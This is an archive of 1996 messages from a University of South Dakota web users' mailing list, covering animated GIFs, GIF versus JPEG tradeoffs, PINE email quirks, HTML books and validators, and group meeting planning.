Message-Id: <1.5.4b12.16.19960317220626.2327b6e6@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4b12 (16) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=""=====================_827129186==_"" To: webula-l@sunbird.usd.edu From: brad james Subject: new gifs X-Attachments: C:\\EMAILED.GIF; --=====================_827129186==_ Content-Type: text/plain; charset=""us-ascii"" just thought some of you might not have seen some of the new self-refreshing gif's (or whatever they are called.) animated gif of writing a letter stuffing the envelope and mailing. anyway ... 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Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, everyone: There is a MS-word plug-in for Netscape 2.0 or higher version. You can get the plug-in from ftp://sunfish.usd.edu/pc . The programs are npword16.exe (windows 3.1) and npword32.exe (Win95). There is no Mac version, but it is coming soon. For more information, the URL is http://www.inso.com/plug.htm. Yaw Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA14173 for ; Mon, 18 Mar 1996 13:55:58 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Mon, 18 Mar 1996 13:54:08 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <314DDB2C@csmsgate.csrv.usd.edu>; Mon, 18 Mar 96 13:52:44 PST From: ""Erickson, Sandra J."" To: webula-l Subject: RE: new gifs Date: Mon, 18 Mar 96 13:51:00 PST Message-ID: <314DDB2C@csmsgate.csrv.usd.edu> Encoding: 304 TEXT X-Mailer: Microsoft Mail V3.0 I have a request and a thought. One -- I think we should sign our messages so if there's a question, etc. we know who to contact. Second -- Why do we use gifs if jpeg files are smaller graphic files and there's not a lot of descernible (how's that for a word?) difference? **************************************************************************** **************** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. 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bnN0cnVjdGlvbiBTZXQAOw== --=====================_827129186==_-- Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id PAA21660 for ; Mon, 18 Mar 1996 15:17:40 -0600 Received: from [192.236.45.17] (med17.med.usd.edu [192.236.45.17]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id PAA01999 for ; Mon, 18 Mar 1996 15:09:33 -0600 Message-Id: <199603182109.PAA01999@sunflowr.usd.edu> From: ""Barry Timms"" Subject: HTML Books To: Multiple recipients of list Date: Mon, 18 Mar 96 15:09:03 PST Encoding: 11 TEXT Does anyone have a good suggestion for an HTML book to use as a reference or guide to publishing on the Web? I looked at almost a dozen at various book stores and was bewildered by the variety of styles and presentations. I ended up buying ""HTML for the World Wide Web"" by Elizabeth Castro, Peachpit Press... it appears to be a reasonable starter book for a reasonable price [$ 18], but I would like to hear about other recommendations from other users. I should also mention that the Library HTML classes [Net at Night] have been an excellent resource for beginners like myself. .............................Barry Timms, Anatomy............................ ..... Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id QAA26034 for ; Mon, 18 Mar 1996 16:04:39 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id QAA06680; Mon, 18 Mar 1996 16:01:48 -0600 Date: Mon, 18 Mar 1996 16:01:48 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu Subject: RE: new gifs In-Reply-To: <314DDB2C@csmsgate.csrv.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Mar 1996, Erickson, Sandra J. wrote: > Second -- Why do we use gifs if jpeg files are smaller graphic files and > there's not a lot of descernible (how's that for a word?) difference? When I first experimented with a web page on our server here at USD, I found that GIFs above a certain size would seem to choke, and never fully appear on the screen, when looking at a web page ""on line."" JPGs don't seem to choke, and also download faster for people using dial-in access, so I now use them exclusively. BTW, the campus network version of PINE won't let me use the CTL^ command, like the dial-in version will, so it took me forEVER to delete the UUENCODED file. :-) I have found that it is usually frowned upon to send UUENCODED files on distribution lists. Do we have any such rule in this list? --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id QAA28249 for ; Mon, 18 Mar 1996 16:27:58 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Mon, 18 Mar 1996 16:26:09 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <314DFEFE@csmsgate.csrv.usd.edu>; Mon, 18 Mar 96 16:25:34 PST From: ""Erickson, Sandra J."" To: webula-l Subject: RE: new gifs Date: Mon, 18 Mar 96 16:24:00 PST Message-ID: <314DFEFE@csmsgate.csrv.usd.edu> Encoding: 47 TEXT X-Mailer: Microsoft Mail V3.0 If this is the case, why are gifs so prevalent? -Sandy **************************************************************************** ************** Sandra J. Erickson http://www.usd.edu/~serickso serickso@charlie.usd.edu a.k.a. Lit'l Cyclone Every speaker has a mouth: An arrangement rather neat. Sometimes it's filled with wisdom. Sometimes it's filled with feet! -Robert Orben ***********************************|**************************************** *************** ---------- From: webula-l To: Multiple recipients of list Subject: RE: new gifs Date: Monday, March 18, 1996 4:08PM On Mon, 18 Mar 1996, Erickson, Sandra J. wrote: > Second -- Why do we use gifs if jpeg files are smaller graphic files and > there's not a lot of descernible (how's that for a word?) difference? When I first experimented with a web page on our server here at USD, I found that GIFs above a certain size would seem to choke, and never fully appear on the screen, when looking at a web page ""on line."" JPGs don't seem to choke, and also download faster for people using dial-in access, so I now use them exclusively. BTW, the campus network version of PINE won't let me use the CTL^ command, like the dial-in version will, so it took me forEVER to delete the UUENCODED file. :-) I have found that it is usually frowned upon to send UUENCODED files on distribution lists. Do we have any such rule in this list? --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id QAA29943 for ; Mon, 18 Mar 1996 16:44:09 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id QAA04456; Mon, 18 Mar 1996 16:36:01 -0600 Date: Mon, 18 Mar 1996 16:41:14 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: RE: new gifs In-Reply-To: <314DDB2C@csmsgate.csrv.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I have a request and a thought. One -- I think we should sign our messages > so if there's a question, etc. we know who to contact. I am not having any problems discerning who is posting messages to this group. > Second -- Why do we use gifs if jpeg files are smaller graphic files and > there's not a lot of descernible (how's that for a word?) difference? The reason we have so many gifs available is that originally, jpegs were not supported inline. If we were to remove all of those images, people's pages would start looking pretty funny. And there is no sense in doubling the required storage on the server by providing a jpeg version of every gif that's already out there. Finally, it should be noted that jpegs are used in some places. For instance the campus map is a jpeg. I agree that jpegs should be used when possible, but I am unaware of any way to make jpegs transparent, and there is not alot of software available to make progressive jpegs yet. Until then, interlaced gifs seem to work just fine, although that is only my opinion. Joe ""... father always said laughter was the best cure I guess that's why so many of us kids died of tb... Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id RAA01597 for ; Mon, 18 Mar 1996 17:00:36 -0600 Received: (from rwood@localhost) by sunflowr.usd.edu (8.6.12/8.6.9) id QAA04975; Mon, 18 Mar 1996 16:52:28 -0600 Date: Mon, 18 Mar 1996 16:52:27 -0600 (CST) From: Bob Wood X-Sender: rwood@sunflowr To: webula-l@sunbird.usd.edu Subject: RE: new gifs/ ctl^ In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > BTW, the campus network version of PINE won't let me use the CTL^ command, > like the dial-in version will, so it took me forEVER to delete the > UUENCODED file. :-) I have found that it is usually frowned upon to send > UUENCODED files on distribution lists. Do we have any such rule in this > list? This should work. Make sure that you are using ctrl + shift + ^. If it still doesn't work, send email to help. Thanks > > > --------------------------- > | Michael Marek | > | MMAREK@SUNFLOWR.USD.EDU | > | Vermillion, SD | > `-------------------------' > > Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id RAA03898 for ; Mon, 18 Mar 1996 17:25:53 -0600 Received: (from lzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id RAA11792; Mon, 18 Mar 1996 17:23:01 -0600 Date: Mon, 18 Mar 1996 17:23:01 -0600 (CST) From: Larry Zimmerman X-Sender: lzimm@sundance To: webula-l@sunbird.usd.edu Subject: RE: new gifs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII gifs vs jpg. Joe R is right. JPGs can't be made transparent, to my knowledge. For design that is a good reason to use them. On the other hand, we have used jpgs exclusively for certain kinds of pics where higher quality is an issue as on our paleopathology site. Larry J. Zimmerman Department of Anthropology University of South Dakota Vermillion, SD 57069-2390 USA Telephone: Direct Office 605-677-5596 Messages (Social Behavior)x5401 Fax 605-677-5595 Home 605-624-6223 ******************************************* See our web site at http://www.usd.edu/anth Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id SAA09346 for ; Mon, 18 Mar 1996 18:24:26 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id SAA15915; Mon, 18 Mar 1996 18:21:35 -0600 Date: Mon, 18 Mar 1996 18:21:34 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu cc: User Help Subject: RE: new gifs/ ctl^ In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Mar 1996, Bob Wood wrote: > > BTW, the campus network version of PINE won't let me use the CTL^ command, > > like the dial-in version will, so it took me forEVER to delete the > > UUENCODED file. :-) I have found that it is usually frowned upon to send > > UUENCODED files on distribution lists. Do we have any such rule in this > > list? > > This should work. Make sure that you are using ctrl + shift + ^. If it > still doesn't work, send email to help. If I use crtl + shift + ^, it locks up PINE. If I use the same key combination again, it ""unlocks"" and does allow me to mark the text. At home, dial-in plain text, I can use a simple ctrl + 6 to get ctrl^ and it allows me to mark text. I'll send mail to HELP. :-) 73 --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA06890 for ; Tue, 19 Mar 1996 09:32:52 -0600 From: CFEIGHT@charlie.usd.edu Date: Tue, 19 Mar 1996 9:31:04 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960319093104.b162@charlie.usd.edu> Subject: RE: new gifs re: gifs vs jpegs I have found that some browsers have difficulty with the jpeg files. when I've tested pages on browsers other than Netscape, they don't always have viewers configured for jpegs but almost everyone can read gifs. I realize there are some real advantages to jpeg, however. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl L. Feight Director, CFA Computer Resources University of South Dakota College of Fine Arts voice: 605-677-5712 fax: 605-677-5988 http://www.usd.edu/~cfeight cfeight@charlie.usd.edu Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA09118 for ; Tue, 19 Mar 1996 10:41:43 -0600 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA26138 for ; Tue, 19 Mar 1996 10:33:32 -0600 Date: Tue, 19 Mar 1996 10:33:32 -0600 Message-Id: <1.5.4b12.16.19960318200915.416f55b6@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4b12 (16) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: brad james Subject: re:re:re:re:new gifs NO ATTACHMENTS etc. I apologize if my message and attachment caused any problems. One--Everyone that responds to webula-l@sunbird.usd.edu shows up under the header FROM: (at least on my machines) (and there should be a way to abort- even on PINE) Two--JPEGS vs GIFS a) JPEGS are not supported inline in many older browsers! b) JPEGS can not be made transparent yet (to my knowledge) c) JPEGS can not be made animated yet (to my knowledge) d) JPEGs software for interlaces is not abundant yet (to my knowledge) d) For small, limited color graphics like icons, GIFs are VERY small files, especially if the color palette is restricted. GIF allows for any number of colors between 2 and 256. The fewer colors the less data and the smaller the graphic files. Not all software will let you set the bits per pixel for GIFs. Adobe Photoshop(Mac/Win), GIFConvertor(Mac), and PhotoGIF(Mac), Picture Publisher(Win), Paint Shop Pro 3.0(Win), and ToolWorks 2.2(SGI Indy) all do. For an example of an animated GIF file (if you want to view one) take a look at my home page; at the bottom of the screen is a mailbox gif that I uploaded to the listserv (sorry -- I've never heard of it being frowned upon to send UUENCODED files on distribution lists -- it happens regularly on the ones I'm on). If you are using Netscape 2.0 (on a Mac or IBM -- not sure about other platforms or browsers) you will see a letter being written, folded, stuffed into an envelope and mailed. http://www.usd.edu/~bwjames The origional encoded file was sent from an IBM and I admit I didn't check the preferences when the file was attached (Base 64) but I was able to download it and it did decode and it did work. The origional file was encoded with Base 64 and it was identified as such in the attachment. Attaching a document/gif to an e-mail is (or should be) a very important advancement to e-mail as we KNEW it. Information about MIME (BASE 64) http://www.wisc.edu/tech/email2.html --email definitions (file types) http://gpu.srv.ualberta.ca/HELP/mail/pine-base64.html -- MIME decoder for pine http://www.ee.ualberta.ca/~pmok/ftp/ wncod266.zip -- base 64 for windows http://www.uta.edu/acs/microsys/mac/guide/base64.html -- discussion for mac ftp://ftp.wwa.com//pub/mac/internet/USENET.TOOLS/ya-newswatcher/YA-Base64-1. 1.0.sit.hqx -- base 64 mac (is that a long address or what?) http://ftp.aladdinsys.com/ --- doesn't do base 64 but great win compression Information on making animated gifs is located at: http://www.ee.umd.edu/~veakblad/animated/animated.html insane animated gif page http://www.afh.com/web/gif89a/sample1.html gif animation sample page http://www.reiworld.com/royalef/gifanim.htm animated gif tutorial SORRY!!!!! Brad James bwjames@sunbird.usd.edu Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA10462 for ; Tue, 19 Mar 1996 11:11:35 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id LAA22867; Tue, 19 Mar 1996 11:08:43 -0600 Date: Tue, 19 Mar 1996 11:08:43 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu Subject: re:re:re:re:new gifs In-Reply-To: <1.5.4b12.16.19960318200915.416f55b6@sunflowr.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 19 Mar 1996, brad james wrote: > GIF allows for any number of colors between 2 and 256. The fewer colors the > less data and the smaller the graphic files. Not all software will let you > set the bits per pixel for GIFs. Adobe Photoshop(Mac/Win), > GIFConvertor(Mac), and PhotoGIF(Mac), Picture Publisher(Win), Paint Shop Pro > 3.0(Win), and ToolWorks 2.2(SGI Indy) all do. As I said in an earlier message, when I tried using GIFs, GIF files of over a certain size -- 40 k or so, if I remember -- would choke and only the top portion of the graphic would appear on the screen. Then I would have to repeatedly decrease the size of the graphic and upload it to test to see if it would still choke, or would download to the browser successfully. That is way too much work, when I know the JPG file will work the first time. :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id MAA13507 for ; Tue, 19 Mar 1996 12:21:25 -0600 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Tue, 19 Mar 1996 12:19:34 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 19 Mar 1996 12:21:41 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: re:new gifs, fast Macs, Sys 7.5.3, etc. All, Thanks for the info on animated GIFs, Brad. I hadn't heard of them before. Interestingly, on a fast Mac (7500) running Sys 7.5.3 (Update 2.0 for Sys 7.5), the thing animates so rapidly that you can't really see what is happening. Also, for anyone interested, I had tried Netscape 2.0 with Sys 7.5.2 (including OpenTransport) and it locked up the machine. I downloaded the Updater 2.0 which updates Sys. 7.5 (including 7.5.2) to System 7.5.3 which fixes some problems, speeds up the Finder, and adds some new features. Netscape 2.0 still locked up the machine. I just downloaded Netscape 2.01 and it seems to be running fine on the 7500 with Sys 7.5.3. I had also earlier downloaded a copy of the Mac version of Internet Explorer and it seemed to run fine (I'm not used to the interface). Dale Farland x5844 dfarland@sunbird.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA20810 for ; Wed, 20 Mar 1996 09:22:06 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Wed, 20 Mar 1996 9:20:18 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <31503E35@csmsgate.csrv.usd.edu>; Wed, 20 Mar 96 09:19:49 PST From: ""Erickson, Sandra J."" To: webula-l Subject: RE: signing your messages Date: Wed, 20 Mar 96 09:18:00 PST Message-ID: <31503E35@csmsgate.csrv.usd.edu> Encoding: 23 TEXT X-Mailer: Microsoft Mail V3.0 I have my mail forwarded to me through our SMTP gateway, the only thing that my messages say is Multiple recipients. (see below). ---------- From: webula-l To: Multiple recipients of list Subject: re:re:re:re:new gifs Date: Tuesday, March 19, 1996 10:56AM NO ATTACHMENTS etc. I apologize if my message and attachment caused any problems. One--Everyone that responds to webula-l@sunbird.usd.edu shows up under the header FROM: (at least on my machines) (and there should be a way to abort- even on PINE) (stuff deleted to protect the innocent bandwidth!!!) SORRY!!!!! Brad James bwjames@sunbird.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id RAA21415 for ; Wed, 20 Mar 1996 17:18:25 -0600 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Wed, 20 Mar 1996 17:16:36 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 20 Mar 1996 17:18:46 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: Meeting topics??? Greetings: The brochure says that the ""WebMasters meet about once a month."" The last meeting was about a month ago (allowing for spring break). What are your suggestions for topics for the meeting? Please suggest topics you would like to learn about OR a topic you would offer to present about. Use your best judgement about whether you want to send suggestions to the whole list or just to me (the list would be fine but I'm not sure all would want to carry on a list discussion to select the topic(s)). How many iterations would it take? The last meeting was on a Thursday at noon. I will schedule a meeting for Thursday, March 28 at noon ('til about 1) in Room 107 of the Education Building. You might also send a note to me regarding really good and really bad times for meetings. A little background: Karen Zimmerman was the conscripted first coordinator of this group (because she along with Larry, Heidi, and Joe Vitt were instigators). At the last meeting Karen announced that she was taking a job at the University of Iowa -- already! Through a process neither democratic nor systematic, I was conscripted over my mild objections (mild because I think the Group is useful and important; objections because I never go gently into another organizational task). Quoting again from the brochure, ""Topics are presented by members on a variety of issues surrounding Web use and development."" If our recent, very active discussion of gif vs jpeg is any indication, there must be things of interest. Thanks to Joe R. and Tim H. for their offer of PERL info. Another example of potential topics? Dale Farland Education 108C / x5844 dfarland@sunbird.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA29922 for ; Mon, 25 Mar 1996 11:29:34 -0600 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Mon, 25 Mar 1996 11:27:47 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 25 Mar 1996 11:30:07 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: Meeting Thursday, noon, Room 107 Ed. Web Users: Despite overwhelming response, I thought I'd go ahead with the meeting this Thursday: Web User's Group Noon to 1 Thursday, March 28 Room 107 Education Topic: How about graphics formats and creation? I recieved only two replies to my request for suggested topics, both from people who said that noon Thursday was not a good time for them. One topic suggested was ""The Virtual Classroom."" Unfortunately the topic had no volunteers to present. The discussion on the list about gif vs jpeg, etc. showed some interest. I thought we could take a look at some sites that give info about graphics, techniques we've learned, software and hardware being used, etc. Please bring your insights and URLs. Perhaps we can also spend a few minutes talking about other topics for future meetings. Dale Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id TAA24746 for ; Mon, 25 Mar 1996 19:07:46 -0600 Received: (from kramakr@localhost) by sundance.usd.edu (8.6.12/8.6.12) id TAA03956; Mon, 25 Mar 1996 19:04:48 -0600 Date: Mon, 25 Mar 1996 19:04:47 -0600 (CST) From: Kumoli Ramakrishnan X-Sender: kramakr@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Meeting Thursday, noon, Room 107 Ed. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sorry that I will not be able to make the thursday meeting at noon - since the class I teach does not end till 12:15 and it takes 5-10 mins for me to get ""free"". Perhaps, I'll make it a bit late. Ram *************************************************************************** * K. Ramakrishnan * Finance Dept., School of Business USD * Ph. 605-677-5528 * FAX 605-677-5427 Internet : kramakr@Sunbird.usd.edu Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA02538 for ; Thu, 28 Mar 1996 09:13:00 -0600 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id JAA26670; Thu, 28 Mar 1996 09:10:00 -0600 Date: Thu, 28 Mar 1996 09:09:59 -0600 (CST) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: WEBULA-L Subject: Net at Night substitute Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ..a forward from Melissa Oleen--Please help! :) ------------------------------------------------------------------------------- This coming Tuesday (April 2), I'm scheduled to teach the session Finding People on the Net. I've multiple schedule conflicts and will not be able to teach it. But - Before Heidi takes it off the Library's web page schedule, we thought we'd see if anyone from this list would be interested in teaching it. If you are, please contact me directly. Melissa * * * * * * * * * * * * * Melissa J. Oleen 605-677-6614 Research Instruction Librarian moleen@sundance.usd.edu I.D. Weeks Library - University of South Dakota Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA26214 for ; Thu, 28 Mar 1996 14:34:27 -0600 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id OAA03895 for ; Thu, 28 Mar 1996 14:25:42 -0600 Date: Thu, 28 Mar 1996 14:25:42 -0600 Message-Id: <1.5.4b12.16.19960328143357.5097f664@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4b12 (16) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: brad james Subject: animated gifs url's Information on making animated gifs is located at: http://www.ee.umd.edu/~veakblad/animated/animated.html insane animated gif page http://www.afh.com/web/gif89a/sample1.html gif animation sample page http://www.reiworld.com/royalef/gifanim.htm animated gif tutorial last one here has tools for windows/mac/etc. and details on how to do this yourself. as per request from meeting 3/28/95 ps.. now to generate flames but I did find a signature file that I kind of like. later == brad -------------------------------------------------------- ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA26401 for ; Thu, 28 Mar 1996 14:36:29 -0600 From: CFEIGHT@charlie.usd.edu Date: Thu, 28 Mar 1996 14:34:44 -0600 (CST) To: WEBULA-L@sunbird.usd.edu Message-Id: <960328143444.7260@charlie.usd.edu> Subject: HTML checkers & submit-it Greetings. I've run across a couple of sites that may be useful and thought I would forward the URLs to the group in case you didn't have them. One of the simplest way to get your page listed in online directors is to use Submit It (a forms-based way to submit information to around 19 different search sites). The address is: http://www.submit-it.com Computerized HTML checkers can help detect oversights and errors, and some of the better ones are: http://imagiware.com/RxHTML.cgi http://ugweb.cs.ualberta.ca/~gerald/validate.cgi http://www.webtechs.com/html-val.svc/ (or at least I'm told they are among the best--haven't tested them personally). We were also chatting informally about free graphics images available on the web. For clouds & other scenery, you might want to look at: http://www.commerce.digital.com/paloalto/Cloud Gallery The Illusionist's Gallery offers royalty-free artwork with a medieval look. http://www.infohaus.com/access/byseller/Illusionist/HIDDEN.artpage.free.html Other possibilities: http://www.liaisonintl.com/ http://www.xmission.com/~agle/scenics.htm Have a nice weekend, Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight Director, CFA Computer Resources USD College of Fine Arts Voice: 677-5712 cfeight@charlie.usd.edu http://www.usd.edu/~cfeight Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA26687 for ; Thu, 28 Mar 1996 14:40:28 -0600 From: COLLETTE@charlie.usd.edu Date: Thu, 28 Mar 1996 14:38:42 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960328143842.716c@charlie.usd.edu> Subject: Changing ownership of files and directories One of the the qeustions at todays meeting was about changing the ownership of a file. The definative answer is that only the super-user (root) can change the ownership of a file or directory. This means that if anyone wants to assing ownership of web pages to someone else it will have to be done by myself or someone else in the Computer Science Department. -Joe Collette Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA15734 for ; Fri, 29 Mar 1996 10:41:39 -0600 Received: from [192.236.47.32] by 192.236.47.32 with SMTP; Fri, 29 Mar 1996 10:39:54 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 29 Mar 1996 10:41:48 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: Web graphics links & info All, At the meeting yesterday, I mentioned that I had found a few web sites that discussed items like graphic size/quality trade-offs, tricks for producing, etc. I've put together a page with those links and will be adding some more soon. I learned some interesting stuff like images that look just right on a Mac will appear dark on Windows because of differences in Gamma settings (see Cross Platform WWW Images (Proper Gamma-Brightness) ). At the page above (webgraph.html), if you go back to the InTEC page (link at the bottom of the page), there are also some links to browser plug-in sources. It's tough to keep up and I haven't even thought about Java yet! Dale PS Thanks to all who were able to come to the Web Users Group meeting yesterday. Received: from [192.236.47.118] (jayhawk.ed.usd.edu [192.236.47.118]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id QAA01320 for ; Wed, 3 Apr 1996 16:20:48 -0600 Date: Wed, 3 Apr 1996 16:20:48 -0600 X-Sender: jsumner@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: jsumner@sunbird.usd.edu (Sumner, Jack) Subject: Re: Web graphics links & info >All, > >At the meeting yesterday, I mentioned that I had found a few web sites that >discussed items like graphic size/quality trade-offs, tricks for producing, >etc. I've put together a page with those links and will be adding some >more soon. > > >I learned some interesting stuff like images that look just right on a Mac >will appear dark on Windows because of differences in Gamma settings (see >Cross Platform WWW Images (Proper Gamma-Brightness) >). > >At the page above (webgraph.html), if you go back to the InTEC page (link >at the bottom of the page), there are also some links to browser plug-in >sources. It's tough to keep up and I haven't even thought about Java yet! > > >Dale > >PS Thanks to all who were able to come to the Web Users Group meeting >yesterday. and many thanks to you for all the donuts and kawfee...... JSumner@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id IAA07855 for ; Thu, 4 Apr 1996 09:00:00 -0600 Received: from [192.236.47.32] by 192.236.47.32 with SMTP; Thu, 4 Apr 1996 8:58:17 -0600 (CST) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 4 Apr 1996 09:00:12 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Re: HTML Books Barry, Good question -- hope you didn't think everyone was ignoring you! I've looked at a couple of books but don't have a very good answer. It seems to depend upon what specifically you want to read about (e.g. I bought one that covers CGI, HTML, etc. from Programmers Press (Tittel, et al.). It has more than I 